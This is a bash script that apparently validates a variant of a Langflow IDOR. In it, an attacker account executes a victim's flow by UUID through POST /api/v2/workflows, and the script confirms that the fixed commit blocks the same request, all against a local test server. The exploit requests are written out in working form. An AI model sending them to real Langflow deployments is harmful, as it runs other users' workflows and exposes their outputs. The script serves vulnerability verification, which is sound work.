#!/bin/bash
# CVE-2026-55255 — VARIANT: same IDOR via a different endpoint (POST /api/v2/workflows)
#
# Parent claim (repro): an Insecure Direct Object Reference (IDOR) in Langflow's
# /api/v1/responses endpoint lets an authenticated attacker execute another user's
# flow by supplying the victim's flow UUID as the `model` value. Root cause: the
# helper `get_flow_by_id_or_endpoint_name` (helpers/flow.py) calls
# `session.get(Flow, flow_id)` on the UUID branch WITHOUT comparing
# `flow.user_id` to the caller's `user_id`.
#
# This VARIANT shows the SAME root-cause IDOR is reachable through a materially
# DIFFERENT entry point: the v2 Developer API endpoint
#   POST /api/v2/workflows   (router prefix /workflows, mounted at /api/v2)
# whose handler `execute_workflow` calls
#   get_flow_by_id_or_endpoint_name(workflow_request.flow_id, api_key_user.id)
# and then EXECUTES the resolved flow (execute_sync_workflow) with NO
# check_flow_user_permission call. On the vulnerable helper, the UUID branch
# ignores `api_key_user.id`, so an authenticated attacker runs the victim's
# workflow by UUID and reads its output -- same impact class (authz_bypass /
# cross-tenant flow execution) as the disclosed /api/v1/responses IDOR, via a
# different endpoint and request shape ({"flow_id": uuid, "inputs": {...}}).
#
# This is an ALTERNATE TRIGGER, not a bypass: the released fix (commit
# b0afe3d2d6, PR #12832) makes the helper enforce `flow.user_id != uuid_user_id
# -> None` on the UUID branch, so the same /api/v2/workflows request is blocked
# (404 / "flow ... does not exist") on the fixed code. The script proves both
# sides on the SAME DB/flow/users, swapping ONLY helpers/flow.py between phases.
#
# Caveat: /api/v2/workflows is gated by `check_developer_api_enabled`
# (setting developer_api_enabled, default False -> LANGFLOW_DEVELOPER_API_ENABLED).
# This is a supported, documented configuration ("enable developer API endpoints
# for advanced debugging and introspection"), so the variant is exercised with
# LANGFLOW_DEVELOPER_API_ENABLED=true.
#
# Exit codes:
#   0 = variant reproduced on the FIXED version (true bypass) -- NOT expected here
#   1 = variant reproduced on VULNERABLE only (alternate trigger) OR no variant
#   2 = infrastructure failure (server/install/extraction) -- script did not run
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VARIANT_DIR="$ROOT/vuln_variant"
ART="$VARIANT_DIR/artifacts"
DATA="$VARIANT_DIR/data"
mkdir -p "$LOGS" "$ART" "$DATA"
mkdir -p "$LOGS/vuln_variant"

# Locate the prepared project cache (durable volume with repo + venv).
CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  CACHE_DIR=$(python3 -c 'import json; d=json.load(open("'"$ROOT/project_cache_context.json"'")); print(d["project_cache_dir"] if d.get("prepared") and d.get("project_cache_dir") else "")' 2>/dev/null || echo "")
fi
if [ -z "$CACHE_DIR" ] || [ ! -d "$CACHE_DIR/repo/.git" ]; then
  CACHE_DIR="$ROOT/artifacts/langflow-cache"
  mkdir -p "$CACHE_DIR"
fi
REPO="$CACHE_DIR/repo"
VENV="$CACHE_DIR/venv-idor"
SRC_VULN="$CACHE_DIR/lf-src-vuln"
PY="$VENV/bin/python"
mkdir -p "$CACHE_DIR"

FIXED_COMMIT="b0afe3d2d6"
VULN_COMMIT="f52d0f0072"   # == FIXED_COMMIT^

LF_PORT=7861
JWT_SECRET="cve2026_55255_variant_secret"
ADMIN_USER="admin"
ADMIN_PASS="AdminPass-CVE-2026-55255!"
VICTIM_USER="victim_v"
VICTIM_PASS="VictimPass-CVE-2026-55255!"
ATTACKER_USER="attacker_v"
ATTACKER_PASS="AttackerPass-CVE-2026-55255!"

log(){ echo "[$(date -Is)] $*" | tee -a "$LOGS/vuln_variant/reproduction_steps.log"; }

# ---------- manifest/verdict helpers (strict JSON via python) ----------
write_manifest(){
  local service_started="$1" health="$2" target="$3" notes="$4" outcome="$5" \
        vuln_idor="$6" fixed_blocked="$7"
  python3 - "$VARIANT_DIR/runtime_manifest.json" "$service_started" "$health" "$target" "$notes" "$outcome" "$vuln_idor" "$fixed_blocked" <<'PYEOF'
import json, sys
out, ss, hp, tp, notes, outcome, vidor, fblk = sys.argv[1:9]
m = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "POST /api/v2/workflows with x-api-key header and JSON body {flow_id: victim_flow_uuid, inputs: {ChatInput-<id>.input_value: <probe>}} against running Langflow 1.9.0 server (LANGFLOW_DEVELOPER_API_ENABLED=true)",
  "service_started": ss.lower() == "true",
  "healthcheck_passed": hp.lower() == "true",
  "target_path_reached": tp.lower() == "true",
  "runtime_stack": ["langflow 1.9.0 (langflow-base 0.9.0, commit f52d0f0072)", "sqlite", "uvicorn", "developer_api_enabled=true"],
  "proof_artifacts": [
    "logs/vuln_variant/reproduction_steps.log",
    "logs/vuln_variant/langflow_server_vuln.log",
    "logs/vuln_variant/langflow_server_fixed.log",
    "vuln_variant/artifacts/victim_register.json",
    "vuln_variant/artifacts/attacker_register.json",
    "vuln_variant/artifacts/victim_flow_create.json",
    "vuln_variant/artifacts/ownership_victim_get.txt",
    "vuln_variant/artifacts/ownership_attacker_get.txt",
    "vuln_variant/artifacts/variant_response_vuln.json",
    "vuln_variant/artifacts/variant_response_fixed.json",
    "vuln_variant/artifacts/summary.json"
  ],
  "variant_reproduced_on_vulnerable": vidor.lower() == "true",
  "variant_blocked_on_fixed": fblk.lower() == "true",
  "notes": notes + " | outcome=" + outcome,
}
open(out, "w", encoding="utf-8").write(json.dumps(m, indent=2))
PYEOF
}
write_verdict(){
  local kind="$1" vidor="$2" fblk="$3" notes="$4"
  python3 - "$VARIANT_DIR/validation_verdict.json" "$kind" "$vidor" "$fblk" "$notes" <<'PYEOF'
import json, sys
out, kind, vidor, fblk, notes = sys.argv[1:6]
v = {
  "claim_outcome": "confirmed" if (vidor.lower()=="true" and fblk.lower()=="true") else ("confirmed_alt_trigger_only" if vidor.lower()=="true" else "not_confirmed"),
  "variant_kind": kind,  # "alternate_trigger" or "bypass"
  "claim_block_reason": None,
  "repro_result": "confirmed" if vidor.lower()=="true" else "not_confirmed",
  "validated_surface": "api_remote",
  "evidence_scope": "production_path",
  "claimed_impact_class": "authz_bypass",
  "observed_impact_class": "authz_bypass" if vidor.lower()=="true" else "none",
  "exploitability_confidence": "high" if vidor.lower()=="true" else "unknown",
  "attacker_controlled_input": "victim flow UUID supplied as the `flow_id` value in POST /api/v2/workflows (Developer API) with the attacker's x-api-key; optional flat `inputs` inject a probe into the victim flow's ChatInput",
  "trigger_path": "POST /api/v2/workflows -> execute_workflow -> get_flow_by_id_or_endpoint_name(workflow_request.flow_id, api_key_user.id) -> UUID branch calls session.get(Flow, flow_id) without checking flow.user_id -> execute_sync_workflow runs the victim flow as the attacker and returns outputs",
  "end_to_end_target_reached": vidor.lower()=="true",
  "variant_reproduced_on_vulnerable": vidor.lower()=="true",
  "variant_blocked_on_fixed": fblk.lower()=="true",
  "is_bypass": False,
  "sanitizer_used": False,
  "crash_observed": False,
  "read_write_primitive_observed": False,
  "exploit_chain_demonstrated": False,
  "blocking_mitigation": "fixed flow.py (commit b0afe3d2d6) adds flow.user_id != uuid_user_id -> None ownership check on the UUID branch; same /api/v2/workflows request returns 404 / 'flow does not exist' on the fixed code" if fblk.lower()=="true" else None,
  "inferred": False,
  "notes": notes,
}
open(out, "w", encoding="utf-8").write(json.dumps(v, indent=2))
PYEOF
}

cleanup(){
  pkill -f "langflow run" 2>/dev/null || true
  pkill -f "$VENV/bin/python -m langflow" 2>/dev/null || true
}
trap cleanup EXIT
cleanup || true

# ---------- 1. uv + python 3.12 (langflow 1.9.0 requires <3.14) ----------
if ! python3 -m uv --version >/dev/null 2>&1; then
  UV="$HOME/.local/bin/uv"
else
  UV="python3 -m uv"
fi
if ! $UV --version >/dev/null 2>&1; then
  log "Installing uv via pip --user ..."
  python3 -m pip install --quiet --user uv 2>&1 | tee -a "$LOGS/vuln_variant/install.log" | tail -3 || true
  UV="$HOME/.local/bin/uv"
fi
if ! $UV --version >/dev/null 2>&1; then
  log "ERROR: uv is not available"
  write_manifest false false false "uv installation failed" "infrastructure_failed" false false
  exit 2
fi
log "uv: $($UV --version)"
if ! $UV python find 3.12 >/dev/null 2>&1; then
  $UV python install 3.12 2>&1 | tee -a "$LOGS/vuln_variant/install.log" | tail -5
fi

# ---------- 2. Extract VULNERABLE source fresh (commit f52d0f0072) ----------
log "Extracting vulnerable source $VULN_COMMIT -> $SRC_VULN"
rm -rf "$SRC_VULN"
mkdir -p "$SRC_VULN"
git -C "$REPO" archive "$VULN_COMMIT" | tar -x -C "$SRC_VULN"
test -f "$SRC_VULN/src/backend/base/langflow/helpers/flow.py" || {
  log "ERROR: vulnerable source extraction failed"
  write_manifest false false false "vulnerable source extraction failed" "infrastructure_failed" false false
  exit 2
}
# Pristine FIXED flow.py from the fix commit.
git -C "$REPO" show "$FIXED_COMMIT:src/backend/base/langflow/helpers/flow.py" > "$ART/flow_fixed.py"
VULN_FLOW_PY="$SRC_VULN/src/backend/base/langflow/helpers/flow.py"
VULN_FLOW_PY_PRISTINE="$ART/flow_vuln.py"

# ---------- 3. Create/reuse venv and install the VULNERABLE stack ----------
NEED_INSTALL=0
if [ ! -x "$PY" ]; then NEED_INSTALL=1; fi
if [ "$NEED_INSTALL" -eq 0 ] && ! "$PY" -c "import langflow" >/dev/null 2>&1; then NEED_INSTALL=1; fi
if [ "$NEED_INSTALL" -eq 1 ]; then
  log "Creating venv at $VENV (Python 3.12) ..."
  $UV venv --python 3.12 "$VENV" 2>&1 | tee -a "$LOGS/vuln_variant/install.log" | tail -5
  log "Installing langflow-base[complete] (vulnerable, from source) ..."
  $UV pip install --python "$PY" -e "$SRC_VULN/src/backend/base[complete]" 2>&1 | tee -a "$LOGS/vuln_variant/install.log" | tail -20
  log "Installing langflow 1.9.0 top-level (from source) ..."
  $UV pip install --python "$PY" -e "$SRC_VULN" 2>&1 | tee -a "$LOGS/vuln_variant/install.log" | tail -10
fi
LF_VER=$("$PY" -c "import importlib.metadata as m; print('langflow',m.version('langflow'),'langflow-base',m.version('langflow-base'))" 2>/dev/null || echo unknown)
log "installed: $LF_VER"

INSTALLED_FLOW_PY=$("$PY" -c "import langflow.helpers.flow as m; print(m.__file__)" 2>/dev/null || echo "")
if [ -z "$INSTALLED_FLOW_PY" ] || [ ! -f "$INSTALLED_FLOW_PY" ]; then
  log "ERROR: could not locate installed langflow/helpers/flow.py"
  write_manifest false false false "flow.py not found in install" "infrastructure_failed" false false
  exit 2
fi
log "installed flow.py: $INSTALLED_FLOW_PY"

# Phase 1: ensure the VULNERABLE flow.py is in place. Save a pristine copy in
# ART (a different path) so later restores never hit a same-file cp. The editable
# install points at $SRC_VULN, so after the fresh extraction the on-disk file is
# already the vulnerable one; only copy if the install resolved to a different path.
cp "$VULN_FLOW_PY" "$VULN_FLOW_PY_PRISTINE"
if [ "$VULN_FLOW_PY" != "$INSTALLED_FLOW_PY" ]; then cp "$VULN_FLOW_PY" "$INSTALLED_FLOW_PY"; fi
VULN_MARKER=$("$PY" -c '
import langflow.helpers.flow as f, inspect
s = inspect.getsource(f.get_flow_by_id_or_endpoint_name)
print("VULN" if "flow.user_id != uuid_user_id" not in s else "FIXED")
' 2>/dev/null || echo unknown)
log "flow.py ownership-check marker (expect VULN for phase 1): $VULN_MARKER"

# Flow template (ChatInput + TextInput + ChatOutput, no LLM).
FLOW_TEMPLATE="$ART/SimpleAPITest.json"
git -C "$REPO" show "$VULN_COMMIT:src/backend/tests/data/SimpleAPITest.json" > "$FLOW_TEMPLATE"

# ---------- 4. Start the VULNERABLE server (multi-user, DEVELOPER API ON) ----------
LF_DB_PATH="$DATA/langflow_variant.db"
LF_DB="sqlite:///$LF_DB_PATH"
rm -f "$LF_DB_PATH" "$LF_DB_PATH-wal" "$LF_DB_PATH-shm"
rm -f "$DATA/secret_key"

export LANGFLOW_AUTO_LOGIN=false LANGFLOW_SKIP_AUTH_AUTO_LOGIN=false
export LANGFLOW_ENABLE_SIGNUP=true LANGFLOW_NEW_USER_IS_ACTIVE=true
export LANGFLOW_SUPERUSER="$ADMIN_USER" LANGFLOW_SUPERUSER_PASSWORD="$ADMIN_PASS"
export LANGFLOW_SECRET_KEY="$JWT_SECRET"
export LANGFLOW_DATABASE_URL="$LF_DB"
export LANGFLOW_CONFIG_DIR="$DATA" LANGFLOW_SAVE_DB_IN_CONFIG_DIR=true
export LANGFLOW_BACKEND_ONLY=true LANGFLOW_TELEMETRY_ENABLED=false
export LANGFLOW_HOST=127.0.0.1 LANGFLOW_PORT="$LF_PORT"
export LANGFLOW_DEVELOPER_API_ENABLED=true   # <-- enables POST /api/v2/workflows

start_server(){
  local logfile="$1" phase="$2"
  log "Starting Langflow server ($phase) on 127.0.0.1:$LF_PORT (developer_api=true) ..."
  "$PY" -m langflow run --host 127.0.0.1 --port "$LF_PORT" --backend-only --workers 1 > "$logfile" 2>&1 &
  LF_PID=$!
  log "langflow server pid=$LF_PID (phase=$phase)"
  local up=false
  for i in $(seq 1 150); do
    if curl -s --max-time 3 "http://127.0.0.1:$LF_PORT/api/v1/config" 2>/dev/null | grep -qE 'feature_flags|auto_login|access_token|frontend_timeout'; then
      up=true; break
    fi
    if ! kill -0 "$LF_PID" 2>/dev/null; then log "ERROR: langflow server ($phase) died"; break; fi
    sleep 1
  done
  if [ "$up" != true ]; then
    log "ERROR: Langflow server ($phase) did not become healthy"
    tail -80 "$logfile" | tee -a "$LOGS/vuln_variant/reproduction_steps.log"
    return 1
  fi
  log "Langflow server ($phase) is up (health OK)"
  return 0
}

BASE="http://127.0.0.1:$LF_PORT"

if ! start_server "$LOGS/vuln_variant/langflow_server_vuln.log" "vulnerable"; then
  write_manifest true false false "vulnerable server failed health check" "infrastructure_failed" false false
  exit 2
fi

# ---------- 5. Register victim + attacker ----------
log "Registering victim user via POST /api/v1/users/ ..."
curl -s --max-time 30 -X POST "$BASE/api/v1/users/" -H 'Content-Type: application/json' \
  -d "{\"username\":\"$VICTIM_USER\",\"password\":\"$VICTIM_PASS\"}" > "$ART/victim_register.json" || true
log "victim register: $(head -c 200 "$ART/victim_register.json")"
log "Registering attacker user via POST /api/v1/users/ ..."
curl -s --max-time 30 -X POST "$BASE/api/v1/users/" -H 'Content-Type: application/json' \
  -d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$ATTACKER_PASS\"}" > "$ART/attacker_register.json" || true
log "attacker register: $(head -c 200 "$ART/attacker_register.json")"

if ! grep -q '"is_superuser":false' "$ART/victim_register.json" || ! grep -q '"is_superuser":false' "$ART/attacker_register.json"; then
  log "ERROR: user registration did not create active non-superusers"
  write_manifest true true false "user registration failed" "infrastructure_failed" false false
  kill "$LF_PID" 2>/dev/null || true
  exit 2
fi

# ---------- 6. Login + API keys ----------
VTOK=$(curl -s --max-time 20 -X POST "$BASE/api/v1/login" -d "username=$VICTIM_USER&password=$VICTIM_PASS" \
  | "$PY" -c 'import json,sys;print(json.load(sys.stdin).get("access_token",""))' 2>/dev/null || echo "")
ATOK=$(curl -s --max-time 20 -X POST "$BASE/api/v1/login" -d "username=$ATTACKER_USER&password=$ATTACKER_PASS" \
  | "$PY" -c 'import json,sys;print(json.load(sys.stdin).get("access_token",""))' 2>/dev/null || echo "")
if [ -z "$VTOK" ] || [ -z "$ATOK" ]; then
  log "ERROR: login failed (victim token len=${#VTOK}, attacker token len=${#ATOK})"
  write_manifest true true false "login failed" "infrastructure_failed" false false
  kill "$LF_PID" 2>/dev/null || true
  exit 2
fi
log "logins OK (victim token len=${#VTOK}, attacker token len=${#ATOK})"

VKEY=$(curl -s --max-time 20 -X POST "$BASE/api/v1/api_key/" -H "Authorization: Bearer $VTOK" \
  -H 'Content-Type: application/json' -d '{"name":"victim-key"}' \
  | "$PY" -c 'import json,sys;print(json.load(sys.stdin).get("api_key",""))' 2>/dev/null || echo "")
AKEY=$(curl -s --max-time 20 -X POST "$BASE/api/v1/api_key/" -H "Authorization: Bearer $ATOK" \
  -H 'Content-Type: application/json' -d '{"name":"attacker-key"}' \
  | "$PY" -c 'import json,sys;print(json.load(sys.stdin).get("api_key",""))' 2>/dev/null || echo "")
if [ -z "$VKEY" ] || [ -z "$AKEY" ]; then
  log "ERROR: API key creation failed (victim=${VKEY:0:8}, attacker=${AKEY:0:8})"
  write_manifest true true false "api key creation failed" "infrastructure_failed" false false
  kill "$LF_PID" 2>/dev/null || true
  exit 2
fi
log "API keys created (victim=${VKEY:0:10}..., attacker=${AKEY:0:10}...)"

# ---------- 7. Victim creates a flow (ChatInput->ChatOutput echo, no LLM) ----------
"$PY" - "$FLOW_TEMPLATE" > "$ART/flow_payload.json" <<'PY'
import json, sys
d = json.load(open(sys.argv[1]))
d.pop("id", None); d.pop("user_id", None); d.pop("endpoint_name", None)
d["name"] = "VictimSecretFlow_VARIANT_v2_workflows"
print(json.dumps(d))
PY
FLOW_RESP=$(curl -s --max-time 30 -X POST "$BASE/api/v1/flows/" -H "Authorization: Bearer $VTOK" \
  -H 'Content-Type: application/json' -d @"$ART/flow_payload.json")
echo "$FLOW_RESP" > "$ART/victim_flow_create.json"
FID=$(echo "$FLOW_RESP" | "$PY" -c 'import json,sys;print(json.load(sys.stdin).get("id",""))' 2>/dev/null || echo "")
if [ -z "$FID" ]; then
  log "ERROR: victim flow creation failed: $(head -c 300 "$ART/victim_flow_create.json")"
  write_manifest true true false "flow creation failed" "infrastructure_failed" false false
  kill "$LF_PID" 2>/dev/null || true
  exit 2
fi
log "Victim flow created: VICTIM_FLOW_ID=$FID"

# Resolve the ChatInput node id from the created flow (to inject an undeniable probe).
CHATINPUT_ID=$(curl -s --max-time 15 "$BASE/api/v1/flows/$FID" -H "Authorization: Bearer $VTOK" \
  | "$PY" -c 'import json,sys
d=json.load(sys.stdin)
ids=[n["id"] for n in d.get("data",{}).get("nodes",[]) if n.get("data",{}).get("type")=="ChatInput"]
print(ids[0] if ids else "")' 2>/dev/null || echo "")
if [ -z "$CHATINPUT_ID" ]; then
  log "WARN: could not resolve ChatInput node id; will use empty inputs"
  INPUTS_JSON="{}"
else
  log "Resolved ChatInput node id: $CHATINPUT_ID"
  INPUTS_JSON="{\"$CHATINPUT_ID.input_value\":\"__PROBE__\"}"
fi

# ---------- 8. Ownership proof ----------
VGET=$(curl -s -o /dev/null -w '%{http_code}' --max-time 15 "$BASE/api/v1/flows/$FID" -H "Authorization: Bearer $VTOK")
AGET=$(curl -s -o /dev/null -w '%{http_code}' --max-time 15 "$BASE/api/v1/flows/$FID" -H "Authorization: Bearer $ATOK")
echo "victim GET /flows/$FID -> $VGET" > "$ART/ownership_victim_get.txt"
echo "attacker GET /flows/$FID -> $AGET" > "$ART/ownership_attacker_get.txt"
log "Ownership proof: victim GET -> $VGET (expect 200), attacker GET -> $AGET (expect 404)"

# ---------- 9. VARIANT (VULNERABLE): attacker runs VICTIM's flow by UUID via /api/v2/workflows ----------
PROBE="IDOR_VARIANT_PROBE_V2WF_$(date +%s)"
INPUTS_BODY=$(echo "$INPUTS_JSON" | sed "s/__PROBE__/$PROBE/")
log "VARIANT payload inputs: $INPUTS_BODY"
VARIANT_VULN=$(curl -s --max-time 90 -X POST "$BASE/api/v2/workflows" \
  -H "x-api-key: $AKEY" -H 'Content-Type: application/json' \
  -d "{\"flow_id\":\"$FID\",\"inputs\":$INPUTS_BODY}")
echo "$VARIANT_VULN" > "$ART/variant_response_vuln.json"
log "VULNERABLE /api/v2/workflows (attacker x-api-key, flow_id=victim flow): $(head -c 400 "$ART/variant_response_vuln.json")"

# Classify vulnerable response.
VULN_IDOR=$("$PY" -c '
import json, sys
body = open(sys.argv[1]).read()
probe = sys.argv[2]
try:
    d = json.loads(body)
except Exception:
    print("false"); sys.exit(0)
status = (d.get("status") or "").lower()
ok = (status in ("completed", "success")) and (probe in body)
print("true" if ok else "false")
' "$ART/variant_response_vuln.json" "$PROBE" 2>/dev/null || echo false)
log "VULNERABLE variant IDOR classification: $VULN_IDOR"

# Stop the vulnerable server before swapping the helper.
kill "$LF_PID" 2>/dev/null || true
sleep 3

# ---------- 10. Swap in FIXED flow.py and restart on the SAME DB ----------
cp "$ART/flow_fixed.py" "$INSTALLED_FLOW_PY"
FIX_MARKER=$("$PY" -c '
import langflow.helpers.flow as f, inspect
s = inspect.getsource(f.get_flow_by_id_or_endpoint_name)
print("FIXED" if "flow.user_id != uuid_user_id" in s else "VULN")
' 2>/dev/null || echo unknown)
log "flow.py ownership-check marker (expect FIXED for phase 2): $FIX_MARKER"

if ! start_server "$LOGS/vuln_variant/langflow_server_fixed.log" "fixed"; then
  write_manifest true true "$VULN_IDOR" "fixed server failed health check (vuln phase done)" "partial" "$VULN_IDOR" false
  # restore vulnerable flow.py before bailing
  cp "$VULN_FLOW_PY" "$INSTALLED_FLOW_PY"
  exit 2
fi

# Re-login attacker and mint a fresh API key on the fixed server (same DB/users).
ATOK2=$(curl -s --max-time 20 -X POST "$BASE/api/v1/login" -d "username=$ATTACKER_USER&password=$ATTACKER_PASS" \
  | "$PY" -c 'import json,sys;print(json.load(sys.stdin).get("access_token",""))' 2>/dev/null || echo "")
AKEY2=$(curl -s --max-time 20 -X POST "$BASE/api/v1/api_key/" -H "Authorization: Bearer $ATOK2" \
  -H 'Content-Type: application/json' -d '{"name":"attacker-key-fixed"}' \
  | "$PY" -c 'import json,sys;print(json.load(sys.stdin).get("api_key",""))' 2>/dev/null || echo "")
log "fixed-phase attacker key=${AKEY2:0:10}..."

# ---------- 11. VARIANT (FIXED): same request must be BLOCKED ----------
PROBE2="IDOR_VARIANT_PROBE_FIXED_$(date +%s)"
INPUTS_BODY2=$(echo "$INPUTS_JSON" | sed "s/__PROBE__/$PROBE2/")
VARIANT_FIXED_HTTP=$(curl -s -o "$ART/variant_response_fixed_body.json" -w '%{http_code}' --max-time 90 \
  -X POST "$BASE/api/v2/workflows" \
  -H "x-api-key: $AKEY2" -H 'Content-Type: application/json' \
  -d "{\"flow_id\":\"$FID\",\"inputs\":$INPUTS_BODY2}")
{
  echo "http_status=$VARIANT_FIXED_HTTP"
  cat "$ART/variant_response_fixed_body.json"
} > "$ART/variant_response_fixed.json"
log "FIXED /api/v2/workflows (attacker x-api-key, flow_id=victim flow): http=$VARIANT_FIXED_HTTP body=$(head -c 400 "$ART/variant_response_fixed_body.json")"

FIXED_BLOCKED=$("$PY" -c '
import json, sys, re
raw = open(sys.argv[1]).read()
probe = sys.argv[2]
m = re.search(r"http_status=(\d+)", raw)
body = raw.split("\n", 1)[1] if "\n" in raw else raw
status_completed = False
try:
    d = json.loads(body)
    status_completed = (d.get("status") or "").lower() in ("completed", "success")
except Exception:
    pass
probe_leaked = probe in body
blocked = (not status_completed) and (not probe_leaked)
print("true" if blocked else "false")
' "$ART/variant_response_fixed.json" "$PROBE2" 2>/dev/null || echo false)
log "FIXED variant blocked classification: $FIXED_BLOCKED"

# Stop the fixed server.
kill "$LF_PID" 2>/dev/null || true
sleep 2

# ---------- 12. Restore the VULNERABLE flow.py (leave cache as repro expects) ----------
cp "$VULN_FLOW_PY_PRISTINE" "$INSTALLED_FLOW_PY"
log "Restored vulnerable flow.py in place (cache state preserved for repro)."

# ---------- 13. Summary + verdicts ----------
VULN_IDOR_B=$( [ "$VULN_IDOR" = "true" ] && echo true || echo false )
FIXED_BLOCKED_B=$( [ "$FIXED_BLOCKED" = "true" ] && echo true || echo false )

python3 - "$ART/summary.json" "$FID" "$CHATINPUT_ID" "$VULN_IDOR_B" "$FIXED_BLOCKED_B" "$VGET" "$AGET" <<'PYEOF'
import json, sys
out, fid, cid, vidor, fblk, vget, aget = sys.argv[1:8]
s = {
  "cve": "CVE-2026-55255",
  "variant_entrypoint": "POST /api/v2/workflows (Developer API, LANGFLOW_DEVELOPER_API_ENABLED=true)",
  "variant_kind": "alternate_trigger",
  "is_bypass": False,
  "victim_flow_id": fid,
  "chatinput_node_id": cid,
  "ownership_victim_get": vget,
  "ownership_attacker_get": aget,
  "variant_reproduced_on_vulnerable": vidor.lower()=="true",
  "variant_blocked_on_fixed": fblk.lower()=="true",
  "root_cause": "get_flow_by_id_or_endpoint_name UUID branch ignores user_id (vulnerable helper f52d0f0072)",
  "fix": "b0afe3d2d6 enforces flow.user_id != uuid_user_id -> None on the UUID branch",
  "same_root_cause_as_parent": True,
  "same_trust_boundary_as_parent": True,
  "different_entrypoint_than_parent": True,
}
open(out, "w", encoding="utf-8").write(json.dumps(s, indent=2))
PYEOF

KIND="alternate_trigger"
NOTES="variant=/api/v2/workflows; vuln_idor=$VULN_IDOR_B fixed_blocked=$FIXED_BLOCKED_B"
write_manifest true true "$VULN_IDOR_B" "$NOTES" "alternate_trigger" "$VULN_IDOR_B" "$FIXED_BLOCKED_B"
write_verdict "$KIND" "$VULN_IDOR_B" "$FIXED_BLOCKED_B" "$NOTES"

log "SUMMARY: variant_reproduced_on_vulnerable=$VULN_IDOR_B variant_blocked_on_fixed=$FIXED_BLOCKED_B"
log "This is an ALTERNATE TRIGGER (same root cause, different endpoint), NOT a bypass."

# Exit 1 = alternate trigger (reproduced on vulnerable only, blocked on fixed).
# Exit 0 would mean a true bypass (reproduced on fixed) -- not the case here.
if [ "$VULN_IDOR_B" = "true" ] && [ "$FIXED_BLOCKED_B" = "true" ]; then
  exit 1
fi
if [ "$VULN_IDOR_B" = "true" ]; then
  # reproduced on vulnerable but NOT blocked on fixed -> would be a bypass path
  exit 0
fi
# nothing reproduced
exit 1
